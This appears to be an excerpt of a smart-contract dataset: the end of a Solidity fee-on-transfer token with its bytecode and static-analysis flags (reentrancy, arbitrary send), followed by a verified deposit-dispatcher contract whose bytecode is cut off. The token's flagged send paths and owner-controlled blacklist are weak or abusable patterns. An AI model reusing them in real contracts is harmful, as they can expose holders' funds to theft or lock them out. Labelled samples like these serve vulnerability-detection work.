uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 100000000000000000) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeWallet.transfer(amount);
}
function liftMaxTxPercentage(uint256 percentage) external onlyOwner{
require(percentage>1);
_maxTxAmount = _tTotal.mul(percentage).div(100);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function addToSwap() external onlyOwner {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
}
function addLiquidity() external onlyOwner{
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function enableTrading() external onlyOwner{
tradingOpen = true;
}
function setBots(address[] memory bots_,bool isBot) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
if(bots_[i]!=address(uniswapV2Router) && bots_[i]!=address(uniswapV2Pair) &&bots_[i]!=address(this)){
bots[bots_[i]] = isBot;
}
}
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
swapTokensForEth(balanceOf(address(this)));
}
function manualsend() external {
sendETHToFee(address(this).balance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101185760003560e01c80637d1db4a5116100a05780639c0db5f3116100645780639c0db5f3146102fe578063a9059cbb1461031e578063c3c8cd801461033e578063dd62ed3e14610353578063e8078d941461039957600080fd5b80637d1db4a5146102595780638a8c523c1461026f5780638da5cb5b1461028457806395d89b41146102ac57806398d24403146102de57600080fd5b8063313ce567116100e7578063313ce567146101dc57806339c96774146101f85780636fc3eaec1461020f57806370a0823114610224578063715018a61461024457600080fd5b806306fdde0314610124578063095ea7b31461016957806318160ddd1461019957806323b872dd146101bc57600080fd5b3661011f57005b600080fd5b34801561013057600080fd5b5060408051808201909152600a8152695563686968612043617760b01b60208201525b60405161016091906115b2565b60405180910390f35b34801561017557600080fd5b5061018961018436600461162c565b6103ae565b6040519015158152602001610160565b3480156101a557600080fd5b506101ae6103c5565b604051908152602001610160565b3480156101c857600080fd5b506101896101d7366004611658565b6103e4565b3480156101e857600080fd5b5060405160098152602001610160565b34801561020457600080fd5b5061020d61044d565b005b34801561021b57600080fd5b5061020d61062d565b34801561023057600080fd5b506101ae61023f366004611699565b610638565b34801561025057600080fd5b5061020d61065a565b34801561026557600080fd5b506101ae600e5481565b34801561027b57600080fd5b5061020d6106ce565b34801561029057600080fd5b506000546040516001600160a01b039091168152602001610160565b3480156102b857600080fd5b5060408051808201909152600981526855636869686143617760b81b6020820152610153565b3480156102ea57600080fd5b5061020d6102f93660046116b6565b61070d565b34801561030a57600080fd5b5061020d6103193660046116fe565b6107ac565b34801561032a57600080fd5b5061018961033936600461162c565b610900565b34801561034a57600080fd5b5061020d61090d565b34801561035f57600080fd5b506101ae61036e3660046117d5565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156103a557600080fd5b5061020d61091e565b60006103bb338484610a98565b5060015b92915050565b60006103d2600980611908565b6103df90620f4240611917565b905090565b60006103f1848484610bbc565b610443843361043e85604051806060016040528060288152602001611ac5602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610e9e565b610a98565b5060019392505050565b6000546001600160a01b031633146104805760405162461bcd60e51b815260040161047790611936565b60405180910390fd5b600c80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556104c630826104b9600980611908565b61043e90620f4240611917565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610504573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610528919061196b565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610575573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610599919061196b565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156105e6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061060a919061196b565b600d80546001600160a01b0319166001600160a01b039290921691909117905550565b61063647610ed8565b565b6001600160a01b0381166000908152600260205260408120546103bf90610f16565b6000546001600160a01b031633146106845760405162461bcd60e51b815260040161047790611936565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146106f85760405162461bcd60e51b815260040161047790611936565b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146107375760405162461bcd60e51b815260040161047790611936565b6001811161074457600080fd5b610771606461076b83610758600980611908565b61076590620f4240611917565b90610f9a565b9061101c565b600e8190556040519081527f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf9060200160405180910390a150565b6000546001600160a01b031633146107d65760405162461bcd60e51b815260040161047790611936565b60005b82518110156108fb57600c5483516001600160a01b039091169084908390811061080557610805611988565b60200260200101516001600160a01b0316141580156108565750600d5483516001600160a01b039091169084908390811061084257610842611988565b60200260200101516001600160a01b031614155b801561088d5750306001600160a01b031683828151811061087957610879611988565b60200260200101516001600160a01b031614155b156108e95781600660008584815181106108a9576108a9611988565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108f38161199e565b9150506107d9565b505050565b60006103bb338484610bbc565b61063661091930610638565b61105e565b6000546001600160a01b031633146109485760405162461bcd60e51b815260040161047790611936565b600c546001600160a01b031663f305d719473061096481610638565b6000806109796000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156109e1573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a0691906119b7565b5050600d8054600160b01b60ff60b01b19821617909155600c5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af1158015610a71573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a9591906119e5565b50565b6001600160a01b038316610afa5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610477565b6001600160a01b038216610b5b5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610477565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610c205760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610477565b6001600160a01b038216610c825760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610477565b60008111610ce45760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610477565b6001600160a01b03831660009081526006602052604090205460ff1615610d0a57600080fd5b60056009556008600a556000546001600160a01b03848116911614801590610d4057506000546001600160a01b03838116911614155b15610e9357600d546001600160a01b038481169116148015610d705750600c546001600160a01b03838116911614155b8015610d9557506001600160a01b03821660009081526005602052604090205460ff16155b15610dbf57600e54811115610da957600080fd5b600d54600160a01b900460ff16610dbf57600080fd5b600c546001600160a01b03848116911614801590610df657506001600160a01b03831660009081526005602052604090205460ff16155b15610e1c57600d546001600160a01b0390811690831603610e1c5760056009556008600a555b6000610e2730610638565b600d54909150600160a81b900460ff16158015610e525750600d546001600160a01b03858116911614155b8015610e675750600d54600160b01b900460ff165b15610e9157610e758161105e565b4767016345785d8a0000811115610e8f57610e8f47610ed8565b505b505b6108fb8383836111d8565b60008184841115610ec25760405162461bcd60e51b815260040161047791906115b2565b506000610ecf8486611a02565b95945050505050565b600b546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610f12573d6000803e3d6000fd5b5050565b6000600754821115610f7d5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610477565b6000610f876111e3565b9050610f93838261101c565b9392505050565b600082600003610fac575060006103bf565b6000610fb88385611917565b905082610fc58583611a19565b14610f935760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610477565b6000610f9383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611206565b600d805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106110a6576110a6611988565b6001600160a01b03928316602091820292909201810191909152600c54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156110ff573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611123919061196b565b8160018151811061113657611136611988565b6001600160a01b039283166020918202929092010152600c5461115c9130911684610a98565b600c5460405163791ac94760e01b81526001600160a01b039091169063791ac94790611195908590600090869030904290600401611a3b565b600060405180830381600087803b1580156111af57600080fd5b505af11580156111c3573d6000803e3d6000fd5b5050600d805460ff60a81b1916905550505050565b6108fb838383611234565b60008060006111f061132b565b90925090506111ff828261101c565b9250505090565b600081836112275760405162461bcd60e51b815260040161047791906115b2565b506000610ecf8486611a19565b600080600080600080611246876113a7565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506112789087611404565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546112a79086611446565b6001600160a01b0389166000908152600260205260409020556112c9816114a5565b6112d384836114ef565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161131891815260200190565b60405180910390a3505050505050505050565b60075460009081908161133f600980611908565b61134c90620f4240611917565b905061137261135c600980611908565b61136990620f4240611917565b6007549061101c565b82101561139e57600754611387600980611908565b61139490620f4240611917565b9350935050509091565b90939092509050565b60008060008060008060008060006113c48a600954600a54611513565b92509250925060006113d46111e3565b905060008060006113e78e878787611562565b919e509c509a509598509396509194505050505091939550919395565b6000610f9383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610e9e565b6000806114538385611aac565b905083811015610f935760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610477565b60006114af6111e3565b905060006114bd8383610f9a565b306000908152600260205260409020549091506114da9082611446565b30600090815260026020526040902055505050565b6007546114fc9083611404565b60075560085461150c9082611446565b6008555050565b6000808080611527606461076b8989610f9a565b9050600061153a606461076b8a89610f9a565b905060006115528261154c8b86611404565b90611404565b9992985090965090945050505050565b60008080806115718886610f9a565b9050600061157f8887610f9a565b9050600061158d8888610f9a565b9050600061159f8261154c8686611404565b939b939a50919850919650505050505050565b600060208083528351808285015260005b818110156115df578581018301518582016040015282016115c3565b818111156115f1576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a9557600080fd5b803561162781611607565b919050565b6000806040838503121561163f57600080fd5b823561164a81611607565b946020939093013593505050565b60008060006060848603121561166d57600080fd5b833561167881611607565b9250602084013561168881611607565b929592945050506040919091013590565b6000602082840312156116ab57600080fd5b8135610f9381611607565b6000602082840312156116c857600080fd5b5035919050565b634e487b7160e01b600052604160045260246000fd5b8015158114610a9557600080fd5b8035611627816116e5565b6000806040838503121561171157600080fd5b823567ffffffffffffffff8082111561172957600080fd5b818501915085601f83011261173d57600080fd5b8135602082821115611751576117516116cf565b8160051b604051601f19603f83011681018181108682111715611776576117766116cf565b60405292835281830193508481018201928984111561179457600080fd5b948201945b838610156117b9576117aa8661161c565b85529482019493820193611799565b96506117c890508782016116f3565b9450505050509250929050565b600080604083850312156117e857600080fd5b82356117f381611607565b9150602083013561180381611607565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b8085111561185f5781600019048211156118455761184561180e565b8085161561185257918102915b93841c9390800290611829565b509250929050565b600082611876575060016103bf565b81611883575060006103bf565b816001811461189957600281146118a3576118bf565b60019150506103bf565b60ff8411156118b4576118b461180e565b50506001821b6103bf565b5060208310610133831016604e8410600b84101617156118e2575081810a6103bf565b6118ec8383611824565b80600019048211156119005761190061180e565b029392505050565b6000610f9360ff841683611867565b60008160001904831182151516156119315761193161180e565b500290565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561197d57600080fd5b8151610f9381611607565b634e487b7160e01b600052603260045260246000fd5b6000600182016119b0576119b061180e565b5060010190565b6000806000606084860312156119cc57600080fd5b8351925060208401519150604084015190509250925092565b6000602082840312156119f757600080fd5b8151610f93816116e5565b600082821015611a1457611a1461180e565b500390565b600082611a3657634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611a8b5784516001600160a01b031683529383019391830191600101611a66565b50506001600160a01b03969096166060850152505050608001529392505050565b60008219821115611abf57611abf61180e565b50019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212204ce6202d961240d6783d959db31274f112dd96f7a790b4934a8e6f62101bff5764736f6c634300080d0033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 3,309 |
0x097647B49c56318a28E4856F52ACE0D26fc263E6
|
/**
*Submitted for verification at Etherscan.io on 2021-03-15
*/
pragma solidity 0.5.12;
interface IHandler {
function deposit(address _token, uint256 _amount)
external
returns (uint256);
function withdraw(address _token, uint256 _amount)
external
returns (uint256);
function getRealBalance(address _token) external returns (uint256);
function getRealLiquidity(address _token) external returns (uint256);
function getBalance(address _token) external view returns (uint256);
function getLiquidity(address _token) external view returns (uint256);
function paused() external view returns (bool);
function tokenIsEnabled(address _underlyingToken)
external
view
returns (bool);
}
contract DSAuthority {
function canCall(
address src,
address dst,
bytes4 sig
) public view returns (bool);
}
contract DSAuthEvents {
event LogSetAuthority(address indexed authority);
event LogSetOwner(address indexed owner);
event OwnerUpdate(address indexed owner, address indexed newOwner);
}
contract DSAuth is DSAuthEvents {
DSAuthority public authority;
address public owner;
address public newOwner;
constructor() public {
owner = msg.sender;
emit LogSetOwner(msg.sender);
}
// Warning: you should absolutely sure you want to give up authority!!!
function disableOwnership() public onlyOwner {
owner = address(0);
emit OwnerUpdate(msg.sender, owner);
}
function transferOwnership(address newOwner_) public onlyOwner {
require(newOwner_ != owner, "TransferOwnership: the same owner.");
newOwner = newOwner_;
}
function acceptOwnership() public {
require(
msg.sender == newOwner,
"AcceptOwnership: only new owner do this."
);
emit OwnerUpdate(owner, newOwner);
owner = newOwner;
newOwner = address(0x0);
}
///[snow] guard is Authority who inherit DSAuth.
function setAuthority(DSAuthority authority_) public onlyOwner {
authority = authority_;
emit LogSetAuthority(address(authority));
}
modifier onlyOwner {
require(isOwner(msg.sender), "ds-auth-non-owner");
_;
}
function isOwner(address src) internal view returns (bool) {
return bool(src == owner);
}
modifier auth {
require(isAuthorized(msg.sender, msg.sig), "ds-auth-unauthorized");
_;
}
function isAuthorized(address src, bytes4 sig)
internal
view
returns (bool)
{
if (src == address(this)) {
return true;
} else if (src == owner) {
return true;
} else if (authority == DSAuthority(0)) {
return false;
} else {
return authority.canCall(src, address(this), sig);
}
}
}
library SafeMath {
function add(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x + y) >= x, "ds-math-add-overflow");
}
function sub(uint256 x, uint256 y) internal pure returns (uint256 z) {
require((z = x - y) <= x, "ds-math-sub-underflow");
}
function mul(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y == 0 || (z = x * y) / y == x, "ds-math-mul-overflow");
}
function div(uint256 x, uint256 y) internal pure returns (uint256 z) {
require(y > 0, "ds-math-div-overflow");
z = x / y;
}
}
contract Dispatcher is DSAuth {
using SafeMath for uint256;
/**
* @dev List all handler contract address.
*/
address[] public handlers;
address public defaultHandler;
/**
* @dev Deposit ratio of each handler contract.
* Notice: the sum of all deposit ratio should be 1000000.
*/
mapping(address => uint256) public proportions;
uint256 public constant totalProportion = 1000000;
/**
* @dev map: handlerAddress -> true/false,
* Whether the handler has been added or not.
*/
mapping(address => bool) public isHandlerActive;
/**
* @dev Set original handler contract and its depoist ratio.
* Notice: the sum of all deposit ratio should be 1000000.
* @param _handlers The original support handler contract.
* @param _proportions The original depoist ratio of support handler.
*/
constructor(address[] memory _handlers, uint256[] memory _proportions)
public
{
setHandlers(_handlers, _proportions);
}
/**
* @dev Sort handlers in descending order of the liquidity in each market.
* @param _data The data to sort, which are the handlers here.
* @param _left The index of data to start sorting.
* @param _right The index of data to end sorting.
* @param _token Asset address.
*/
function sortByLiquidity(
address[] memory _data,
int256 _left,
int256 _right,
address _token
) internal {
int256 i = _left;
int256 j = _right;
if (i == j) return;
uint256 _pivot = IHandler(_data[uint256(_left + (_right - _left) / 2)])
.getRealLiquidity(_token);
while (i <= j) {
while (
IHandler(_data[uint256(i)]).getRealLiquidity(_token) > _pivot
) i++;
while (
_pivot > IHandler(_data[uint256(j)]).getRealLiquidity(_token)
) j--;
if (i <= j) {
(_data[uint256(i)], _data[uint256(j)]) = (
_data[uint256(j)],
_data[uint256(i)]
);
i++;
j--;
}
}
if (_left < j) sortByLiquidity(_data, _left, j, _token);
if (i < _right) sortByLiquidity(_data, i, _right, _token);
}
/************************/
/*** Admin Operations ***/
/************************/
/**
* @dev Replace current handlers with _handlers and corresponding _proportions,
* @param _handlers The list of new handlers, the 1st one will act as default hanlder.
* @param _proportions The list of corresponding proportions.
*/
function setHandlers(
address[] memory _handlers,
uint256[] memory _proportions
) private {
require(
_handlers.length == _proportions.length && _handlers.length > 0,
"setHandlers: handlers & proportions should not have 0 or different lengths"
);
// The 1st will act as the default handler.
defaultHandler = _handlers[0];
uint256 _sum = 0;
for (uint256 i = 0; i < _handlers.length; i++) {
require(
_handlers[i] != address(0),
"setHandlers: handler address invalid"
);
// Do not allow to set the same handler twice
require(
!isHandlerActive[_handlers[i]],
"setHandlers: handler address already exists"
);
_sum = _sum.add(_proportions[i]);
handlers.push(_handlers[i]);
proportions[_handlers[i]] = _proportions[i];
isHandlerActive[_handlers[i]] = true;
}
// The sum of proportions should be 1000000.
require(
_sum == totalProportion,
"the sum of proportions must be 1000000"
);
}
/**
* @dev Update proportions of the handlers.
* @param _handlers List of the handlers to update.
* @param _proportions List of the corresponding proportions to update.
*/
function updateProportions(
address[] memory _handlers,
uint256[] memory _proportions
) public auth {
require(
_handlers.length == _proportions.length &&
handlers.length == _proportions.length,
"updateProportions: handlers & proportions must match the current length"
);
uint256 _sum = 0;
for (uint256 i = 0; i < _proportions.length; i++) {
for (uint256 j = 0; j < i; j++) {
require(
_handlers[i] != _handlers[j],
"updateProportions: input handler contract address is duplicate"
);
}
require(
isHandlerActive[_handlers[i]],
"updateProportions: the handler contract address does not exist"
);
_sum = _sum.add(_proportions[i]);
proportions[_handlers[i]] = _proportions[i];
}
// The sum of `proportions` should be 1000000.
require(
_sum == totalProportion,
"the sum of proportions must be 1000000"
);
}
/**
* @dev Add new handler.
* Notice: the corresponding proportion of the new handler is 0.
* @param _handlers List of the new handlers to add.
*/
function addHandlers(address[] memory _handlers) public auth {
for (uint256 i = 0; i < _handlers.length; i++) {
require(
!isHandlerActive[_handlers[i]],
"addHandlers: handler address already exists"
);
require(
_handlers[i] != address(0),
"addHandlers: handler address invalid"
);
handlers.push(_handlers[i]);
proportions[_handlers[i]] = 0;
isHandlerActive[_handlers[i]] = true;
}
}
/**
* @dev Reset handlers and corresponding proportions, will delete the old ones.
* @param _handlers The list of new handlers.
* @param _proportions the list of corresponding proportions.
*/
function resetHandlers(
address[] calldata _handlers,
uint256[] calldata _proportions
) external auth {
address[] memory _oldHandlers = handlers;
for (uint256 i = 0; i < _oldHandlers.length; i++) {
delete proportions[_oldHandlers[i]];
delete isHandlerActive[_oldHandlers[i]];
}
defaultHandler = address(0);
delete handlers;
setHandlers(_handlers, _proportions);
}
/**
* @dev Update the default handler.
* @param _defaultHandler The default handler to update.
*/
function updateDefaultHandler(address _defaultHandler) public auth {
require(
_defaultHandler != address(0),
"updateDefaultHandler: New defaultHandler should not be zero address"
);
address _oldDefaultHandler = defaultHandler;
require(
_defaultHandler != _oldDefaultHandler,
"updateDefaultHandler: Old and new address cannot be the same."
);
handlers[0] = _defaultHandler;
proportions[_defaultHandler] = proportions[_oldDefaultHandler];
isHandlerActive[_defaultHandler] = true;
delete proportions[_oldDefaultHandler];
delete isHandlerActive[_oldDefaultHandler];
defaultHandler = _defaultHandler;
}
/***********************/
/*** User Operations ***/
/***********************/
/**
* @dev Query the current handlers and the corresponding proportions.
* @return Return two arrays, the current handlers,
* and the corresponding proportions.
*/
function getHandlers()
external
view
returns (address[] memory, uint256[] memory)
{
address[] memory _handlers = handlers;
uint256[] memory _proportions = new uint256[](_handlers.length);
for (uint256 i = 0; i < _proportions.length; i++)
_proportions[i] = proportions[_handlers[i]];
return (_handlers, _proportions);
}
/**
* @dev According to the proportion, calculate deposit amount for each handler.
* @param _amount The amount to deposit.
* @return Return two arrays, the current handlers,
* and the corresponding deposit amounts.
*/
function getDepositStrategy(uint256 _amount)
external
view
returns (address[] memory, uint256[] memory)
{
address[] memory _handlers = handlers;
uint256[] memory _amounts = new uint256[](_handlers.length);
uint256 _sum = 0;
uint256 _res = _amount;
uint256 _lastIndex = _amounts.length.sub(1);
for (uint256 i = 0; ; i++) {
// Return empty strategy if any handler is paused for abnormal case,
// resulting further failure with mint and burn
if (IHandler(_handlers[i]).paused()) {
delete _handlers;
delete _amounts;
break;
}
// The last handler gets the remaining amount without check proportion.
if (i == _lastIndex) {
_amounts[i] = _res.sub(_sum);
break;
}
// Calculate deposit amount according to the proportion,
_amounts[i] = _res.mul(proportions[_handlers[i]]) / totalProportion;
_sum = _sum.add(_amounts[i]);
}
return (_handlers, _amounts);
}
/**
* @dev Provide a strategy to withdraw, now sort handlers in descending order of the liquidity.
* @param _token The token to withdraw.
* @param _amount The amount to withdraw, including exchange fees between tokens.
* @return Return two arrays, the handlers,
* and the corresponding withdraw amount.
*/
function getWithdrawStrategy(address _token, uint256 _amount)
external
returns (address[] memory, uint256[] memory)
{
address[] memory _handlers = handlers;
// Sort handlers in descending order of the liquidity.
if (_handlers.length > 2)
sortByLiquidity(
_handlers,
int256(1),
int256(_handlers.length - 1),
_token
);
uint256[] memory _amounts = new uint256[](_handlers.length);
uint256 _balance;
uint256 _res = _amount;
uint256 _lastIndex = _amounts.length.sub(1);
for (uint256 i = 0; i < _handlers.length; i++) {
// Return empty strategy if any handler is paused for abnormal case,
// resulting further failure with mint and burn
if (IHandler(_handlers[i]).paused()) {
delete _handlers;
delete _amounts;
break;
}
// Continue to check whether all handlers are unpaused
if (_res == 0) continue;
if (i == _lastIndex) {
_amounts[i] = _res;
break;
}
// The maximum amount can be withdrown from market.
_balance = IHandler(_handlers[i]).getRealLiquidity(_token);
_amounts[i] = _balance > _res ? _res : _balance;
_res = _res.sub(_amounts[i]);
}
return (_handlers, _amounts);
}
}
|
0x608060405234801561001057600080fd5b50600436106101205760003560e01c806379ba5097116100ad57806393c0b0961161007157806393c0b09614610487578063bf7e214f1461048f578063d4ee1d9014610497578063f2fde38b1461049f578063f5cb51b1146104c557610120565b806379ba50971461038b5780637a9e5e4b146103935780638003e544146103b9578063866654fc146103c15780638da5cb5b1461047f57610120565b80632687cf6e116100f45780632687cf6e146102be5780633801a828146102e457806342659bdc146102ec57806350c6c5a11461032557806355b0b7c41461035157610120565b8062bb0ede14610125578063066216ce1461015d5780631e462e901461020057806322e5aa3a146102b6575b600080fd5b61014b6004803603602081101561013b57600080fd5b50356001600160a01b03166105e8565b60408051918252519081900360200190f35b6101fe6004803603602081101561017357600080fd5b810190602081018135600160201b81111561018d57600080fd5b82018360208201111561019f57600080fd5b803590602001918460208302840111600160201b831117156101c057600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295506105fa945050505050565b005b61021d6004803603602081101561021657600080fd5b5035610815565b604051808060200180602001838103835285818151815260200191508051906020019060200280838360005b83811015610261578181015183820152602001610249565b50505050905001838103825284818151815260200191508051906020019060200280838360005b838110156102a0578181015183820152602001610288565b5050505090500194505050505060405180910390f35b61014b610a34565b6101fe600480360360208110156102d457600080fd5b50356001600160a01b0316610a3b565b61021d610bba565b6103096004803603602081101561030257600080fd5b5035610cba565b604080516001600160a01b039092168252519081900360200190f35b61021d6004803603604081101561033b57600080fd5b506001600160a01b038135169060200135610ce1565b6103776004803603602081101561036757600080fd5b50356001600160a01b0316610f71565b604080519115158252519081900360200190f35b6101fe610f86565b6101fe600480360360208110156103a957600080fd5b50356001600160a01b0316611035565b6103096110cf565b6101fe600480360360408110156103d757600080fd5b810190602081018135600160201b8111156103f157600080fd5b82018360208201111561040357600080fd5b803590602001918460208302840111600160201b8311171561042457600080fd5b919390929091602081019035600160201b81111561044157600080fd5b82018360208201111561045357600080fd5b803590602001918460208302840111600160201b8311171561047457600080fd5b5090925090506110de565b6103096112b9565b6101fe6112c8565b610309611355565b610309611364565b6101fe600480360360208110156104b557600080fd5b50356001600160a01b0316611373565b6101fe600480360360408110156104db57600080fd5b810190602081018135600160201b8111156104f557600080fd5b82018360208201111561050757600080fd5b803590602001918460208302840111600160201b8311171561052857600080fd5b9190808060200260200160405190810160405280939291908181526020018383602002808284376000920191909152509295949360208101935035915050600160201b81111561057757600080fd5b82018360208201111561058957600080fd5b803590602001918460208302840111600160201b831117156105aa57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600092019190915250929550611430945050505050565b60056020526000908152604090205481565b610610336000356001600160e01b0319166116a5565b610658576040805162461bcd60e51b8152602060048201526014602482015273191ccb585d5d1a0b5d5b985d5d1a1bdc9a5e995960621b604482015290519081900360640190fd5b60005b8151811015610811576006600083838151811061067457fe5b6020908102919091018101516001600160a01b031682528101919091526040016000205460ff16156106d75760405162461bcd60e51b815260040180806020018281038252602b815260200180611e41602b913960400191505060405180910390fd5b60006001600160a01b03168282815181106106ee57fe5b60200260200101516001600160a01b0316141561073c5760405162461bcd60e51b815260040180806020018281038252602481526020018061207b6024913960400191505060405180910390fd5b600382828151811061074a57fe5b6020908102919091018101518254600181018455600093845291832090910180546001600160a01b0319166001600160a01b039092169190911790558251600590829085908590811061079957fe5b60200260200101516001600160a01b03166001600160a01b03168152602001908152602001600020819055506001600660008484815181106107d757fe5b602